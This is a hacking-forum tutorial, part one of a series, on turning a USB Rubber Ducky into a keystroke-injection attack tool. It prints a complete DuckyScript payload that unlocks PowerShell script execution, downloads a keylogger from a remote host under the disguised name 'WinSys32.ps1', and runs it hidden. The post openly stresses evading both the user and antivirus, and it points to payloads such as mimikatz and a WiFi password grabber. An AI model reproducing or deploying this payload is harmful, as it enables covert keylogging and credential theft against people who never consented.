Hey Mates!
This time I have a project of mine to share with you about the USB Rubber Ducky. Maybe some of you already heard of it, e.g. @Occupytheweb wrote an article about its use in Mr. Robot.
At the end of this small series you should be able to write your own Scripts for hacking the box just with an USB Stick and without the need of knowledge of any programming language!
Structure
Part 1: How to use DuckyScript for writing a FUD file downloader & executor
Part 2: How to use Powershell (Microsofts new shell; reminds of the linux terminal) for writing a FUD KeyLogger [Bonus]
Part 3: How to build your own BadUSB for around 10$
USB Rubber Ducky
[quote]âIf it quacks like a keyboard and types like a keyboard, it must be a keyboard.â
~ Rubber Ducky Wiki[/quote]
This little quote tells us the main idea behind Bad USB. Itâs a technique to convince the computer that we are not a USB Stick (Which canât execute things on his own), but a completly normal and unsuspicious keyboard, controlled by the user. This is useful, because keyboards have the right to type (Wow, big surprise 
).
[quote]âHumans use keyboards, and computers trust humans.â
~ Rubber Ducky Wiki[/quote]
The computer thinks weâre a normal user, who just wants to download a file via powershell. Thatâs not something disallowed, so it goes pretty unnoticed. If any warnings pop up, like âDonât trust files from the internetâ, we just press Enter and skipâem, because the keyboard rules!
Do I need the Rubber Ducky?
I recommend using a Rubber Ducky for the following stuff, but itâs not required. In the third part Iâll explain how to build your own Bad USB for about 10$! Anyway, this one will be much harder to reprogram and to work with, so I highly recommend you to buy a Rubbber Ducky, when you are hooked 
.
You can get it for 44.99$ at Hak5hop. The decision is yours .
DuckyScript - Introduction
Now weâve got an USB Stick with a personality disorder, which thinks itâs a keyboard, but how does it know what it has to do on the target system? The answer is a script language, called DuckyScript. Itâs syntax is pretty straightforward, itâs requirements are nearly not existent and the needed intelligence is just ridiculous .
Requirements
- Any text editor
- Duckencoder
Text Editor
I think youâll find one⌠gedit, Windows editor, vim, etcâŚ
Duckencoder
The default Duckencoder.jar can be found at github. However, Iâve had some problems due to different keyboard layouts and searched for an alternative, so I stumbled upon this thread. There you can download a custom version of the Duckencoder, which supports different keyboard layouts.
DuckyScript - Our Script
Iâll cover just the basics and not all the keys you can use, because they can be already found here.
Basics
- You have to write every command on a new line
- Donât use blank lines (Never read it, but they seemed to break my script
) - Use REM for comments
- Use STRING for typing normal letters (It presses automatically shift, when you use upper-case letters and symbols like !"§$)
- Use GUI for pressing the Windos key
- Use ENTER for pressing ENTER (Wow, thatâs insane)
- Use DELAY for waiting between new commands
Thatâs all, what Iâve needed for writing my downloader & executor script!
Example Powershell Script Downloader & Executor
REM Set Execution Policy
DELAY 2000
GUI r
DELAY 300
STRING powershell
ENTER
DELAY 4000
STRING Set-ExecutionPolicy -Scope CurrentUser Unrestricted
ENTER
DELAY 1000
STRING J
ENTER
DELAY 300
First we set the Powershell ExecutionPolicy Setting to Unrestricted, so that our script can be executed on the target system. Maybe youâve noticed that we just change the CurrentUsers setting. This requires no special privileges and works as good as changing the whole machines settings.
REM Download Keylogger
STRING (new-object System.Net.WebClient).DownloadFile("http://example.net/keylogger.ps1", "WinSys32.ps1")
ENTER
DELAY 2000
STRING exit
ENTER
DELAY 300
Next weâre downloading the Powershell Script. This one uses the .Net WebClient, which can be called from within Powershell (During my little journey through Keyloggers Iâve found Powershell just awesome; I highly recommend everyone to have a look at it. Maybe Iâll make some basic tutorials about it in the future ). The command Downloads the file from the given Web-site, where youâve put the script (http://example.net/keylogger.ps1) and saves them under the given directory (As an example I use the current directory (Users directory) and the name âWinSys32.ps1â). Then we leave the Powershell console.
REM Run Keylogger
GUI r
DELAY 300
STRING powershell -windowstyle hidden ./WinSys32.ps1
ENTER
Finally we run the Script as a background powershell process. This has two big advantages:
- The user canât spot it easily
- It runs under the name âWindows Powershellâ with the default Powershell Icon. No user will think his own windows spys on him
. (Oh, and AVs donât care either; more on that in the next part)
Full Script
Hereâs the full script, so that you donât have to put the pieces together .
REM Download & Execute Powershell Script
REM ~ TheDoctor v1.3.3.7
REM Set Execution Policy
DELAY 2000
GUI r
DELAY 300
STRING powershell
ENTER
DELAY 4000
STRING Set-ExecutionPolicy -Scope CurrentUser Unrestricted
ENTER
DELAY 1000
STRING J
ENTER
DELAY 300
REM Download Keylogger
STRING (new-object System.Net.WebClient).DownloadFile("http://example.net/keylogger.ps1", "WinSys32.ps1")
ENTER
DELAY 2000
STRING exit
ENTER
DELAY 300
REM Run Keylogger
GUI r
DELAY 300
STRING powershell -windowstyle hidden ./WinSys32.ps1
ENTER
How To Put That Script On Your Bad USB?
With the USB Rubber Ducky itâs very easy. Just take the Micro-SD card, put it in a Micro-SD to SD adapter and plug it in your computer. Then build the script with the Duckencoder:
Or when you want to compile with a specified keyboard layout (Only possible with the modified Duckencoder)
Where
-i is the input file
-o is the output file
-l is the keyboard layout (Check the link to the thread for all possible layouts)
Now copy the inject.bin (No other name is allowed! The script has to be named inject.bin) to the Micro-SD card and plug it back into your Rubber Ducky. Finished.
With Bad USB itâs much more complicated, so Iâll explain it in the third part of the series.
Payload Collection
You can find many different DuckyScripts here. Itâs a good place to search for some techniques you can use, when writing your own scripts (Or to find scripts for trolling your friends, e.g. this one ). There are some very interesting ones like mimikatz, utilman exploit or a WIFI password grabber.
Conclusion
Is it really that easy? Yes. Just write your own simple DuckyScript, plug in your Bad USB and⌠Itâs won . Oh, and donât forget that you feel like a real 1337 h4xx0r, when you just have to put in your Stick and see magically popping up windows, filling with commands without anyones interaction 
.
In the next part weâll talk about the Powershell Script, you have to download. Donât expect a big introduction to Powershell, because Iâm just a beginner, but Iâm looking forward to explain you some basics.
|-TheDoctor-|
)